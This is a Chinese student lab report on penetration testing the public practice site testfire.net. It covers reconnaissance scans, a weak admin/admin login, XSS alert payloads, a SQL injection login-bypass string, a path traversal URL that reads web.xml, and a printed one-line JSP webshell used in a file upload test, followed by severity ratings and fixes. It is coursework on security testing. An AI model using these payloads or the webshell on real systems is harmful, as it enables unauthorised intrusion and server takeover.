一、实验目的
(1)熟悉渗透测试的执行标准;
(2)掌握渗透测试的常用方法与技巧;
(3)掌握渗透测试报告的撰写步骤及关键要点。
二、实验任务
(1)对公开安全网站实施针对性的渗透测试,挖掘漏洞并获取信息;
(2)撰写渗透测试报告。
三、实验环境
1、目标域名:www.testfire.net
2、目标IP:65.61.137.117
3、攻击机地址:192.168.108.129
四、实验过程和实验结果
在kali中使用nikto扫描该网址,发现IP为:65.61.137.117
使用nmap进行端口扫描,发现80网页端口开放,可以进行网页渗透
使用dirb进行网站目录扫描,发现一后台登陆路径/admin,可能讯在一个目录穿越读取文件的漏洞
1.后台管理员弱口令登录漏洞
进入网站尝试利用弱口令admin/admin进入后台
成功登录后可以进行管理用户,信息查询,转账等操作
2.search框进行搜索发现xss漏洞
在search框中进行搜索,发现存在xss漏洞
payload:<script>alert("2300360211-fengbingyang")</script>
通过该漏洞可以获取用户cookie等信息。
3.SQL注入
在登陆界面的username处输入-1' or 1=1--+,password自定义
成功登录说明存在SQL注入漏洞
4.index.jsp路径下存在web.xml配置文件泄露漏洞
在index.jsp界面进行测试,payload:content=personal.htm
尝试直接读取/etc/password,读取失败
尝试直接读取web.xml的网站配置信息
Payload:http://65.61.137.117/index.jsp?content=../WEB-INF/web.xml
得知配置信息方便后续更高级的攻击
5.Feedback页面xss漏洞
在用户名框中输入<script>alert("2300360211-fengbingyang")</script>,进行xss攻击\
攻击成功
6.Feedbackback页面存在任意文件上传漏洞
输入如下字样后利用bp进行抓包
我们尝试修改文件内容为一句话 JSP webshell
木马内容为:
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
然后上传wenda.jsp,修改email_add为123%40qq.com
成功上传,但是找不到文件上传的路径,大概是该测试网站并没有做实际的保护工作而只是返回了结果信息
实验结束!
五、实验总结
1、后台弱口令登入管理员漏洞:中危
后台弱口令应该设置验证码或者强口令登入
2、index.jsp路径下存在 web.xml配置文件泄露漏洞 :中危
修复对web.xml访问权限 可直接删除docs目录和examples目录
3、search框存在xss漏洞: 低危
XSS漏洞修复课采取对输入的数据进行HTML转义,使其不会识别为可执行脚本,和白名单过滤等方法
4、反馈页面存在任意文件上传漏洞 : 低危
服务器配置,在服务端对上传文件进行检查,对于图片文件进行二次渲染、压缩, 避免图片写马,校验失败后,记录错误日志信息,内容至少包括时间、用户、IP、操作内容、校验失败的
5、登入存在sql注入:高危
防止SQL注入,最有效的方法就是限制输入、参数化传递 用户提交的数据,显然这里并没有进行有效防护,测试发现登录页面存在SQL注入漏洞
本次实验通过测试网站进行了实际的渗透测试,整体难度系数中等,没有遇到特别难以解决的问题,具体的漏洞和建议皆在上方列出,可以不完全依靠虚拟机实验真的太舒服了,因为本次实验也使用了外部工具,倘若使用虚拟机恐怕没那么简单,我将不得不将该工具转移到虚拟机内,而这一步往往是最难的对我而言,因此该实验对我来说并没有上面的一些实验难,整体感觉不错,以后再接再厉。